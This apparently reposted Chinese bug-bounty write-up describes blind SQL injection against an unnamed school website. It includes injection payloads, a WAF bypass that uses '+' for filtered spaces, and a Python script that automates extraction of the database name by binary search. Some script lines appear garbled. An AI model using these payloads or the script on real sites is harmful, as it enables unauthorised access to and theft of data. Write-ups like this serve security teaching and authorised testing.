src实战纪实 | 某学校官网SQL注入漏洞

admin 2024年10月18日23:03:44评论15 views字数 1669阅读5分33秒阅读模式

获网安教程

免费&进群

src实战纪实 | 某学校官网SQL注入漏洞  
src实战纪实 | 某学校官网SQL注入漏洞
本文由掌控安全学院-君叹投稿

在页面参数增加 and -1=-1,页面回显正常,这里如果 and 1=1 会被拦截:

src实战纪实 | 某学校官网SQL注入漏洞

然后尝试-1=-2,页面报错,此处可能存在数字型sql注入漏洞:
src实战纪实 | 某学校官网SQL注入漏洞

接下来就是查字段数 order by 1 ,页面依旧报错:

src实战纪实 | 某学校官网SQL注入漏洞

如果大家在渗透的时候遇到这种情况,要考虑是不是某些参数被拦截等;

换一种思路,用盲注的思路走走看,不要到这里就直接放弃,觉得怎么现在还能存在数字型的注入漏洞这样,好歹能在edu赚点rank或者,换个证书。

  1. and length(database())>1

页面正常:

src实战纪实 | 某学校官网SQL注入漏洞

  1. and length(database())>10

页面报错:

src实战纪实 | 某学校官网SQL注入漏洞

这里是属于布尔盲注,接下来就是用2分法找到长度,最后测试结果是6,然后测试一下能不能爆库名字符:

src实战纪实 | 某学校官网SQL注入漏洞

然后再试试表名,如果表名字符也能出,这里数据也就能爆出来了,因为查表名的时候,表名就是从数据表中查询出来的结果:

src实战纪实 | 某学校官网SQL注入漏洞

这里经过多次尝试,确认了过滤的内容是:

  1. from%20# %20就是空格

  2. 然后试着用%09,%0a,%0b,%0c等绕过都不可行

当我想要放弃的时候,一位学长跟我说用加号试试,我当时心里其实是非常不相信的,因为+在url编码里面就是空格的意思,那空格被过滤了,+不也就被禁掉了吗?

然后我出于礼貌的尝试了一下,发现成了!所以还是谦虚一点好:

src实战纪实 | 某学校官网SQL注入漏洞

这里至少没有被waf拦截,然后再继续尝试,这里的话把where语句去掉之后就可行了:

src实战纪实 | 某学校官网SQL注入漏洞

然后写一个脚本去跑,脚本这里的话网址都删掉了,可以看看编写思路:

  1. 这里用正则表达式,去看页面内容中是否存在`发布时间`这几个字符,存在的话就说明页面为True,不存在就是False

然后用了二分法二分法的话可以参考我的这篇文章:https://bbs.zkaq.cn/t/5506.html

  1. # coding=gbk

  2. import requests

  3. import re

  4. def isTrue(url):

  5. res = requests.get(url)

  6. if re.search("发布时间", res.text):

  7. returnTrue

  8. def get_length():

  9. for i in range(25):

  10. url = f"http://匿名?cate=5&cid=1&aid=972%20and%20length(database())={i}"

  11. if isTrue(url):

  12. print(f"length: {i}")

  13. return i

  14. def to_num1(url, num=1):

  15. # url >

  16. if isTrue(url % num):

  17. return to_num1(url, num *2)

  18. return[(num // 2) - 1, num]

  19. def tow_num2(url, num_):

  20. c =(num_[1]+ num_[0])/2

  21. if isTrue(url % c):# 如果 大于 c成立 把最小值设置为中值

  22. # print(url % c)

  23. num_[0]= c

  24. else:

  25. num_[1]= c # 否则设置最大值

  26. if num_[1]- num_[0]<=1:

  27. num_[1]= round(num_[1])

  28. return num_[1]

  29. return tow_num2(url,[num_[0], num_[1]])

  30. def get_database():

  31. database_name =''

  32. for i in range(1, get_length()+1):

  33. url = f"http://匿名?cate=5&cid=1&aid=972 and ascii(substr(database(),{i},1))>%d"

  34. num1 = to_num1(url)

  35. num2 = tow_num2(url,num1)

  36. database_name += chr(num2)

  37. print("database:"+ database_name)

  38. if __name__ =='__main__':

  39. get_database()

申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

src实战纪实 | 某学校官网SQL注入漏洞

原文始发于微信公众号(掌控安全EDU):src实战纪实 | 某学校官网SQL注入漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月18日23:03:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   src实战纪实 | 某学校官网SQL注入漏洞http://cn-sec.com/archives/1880766.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息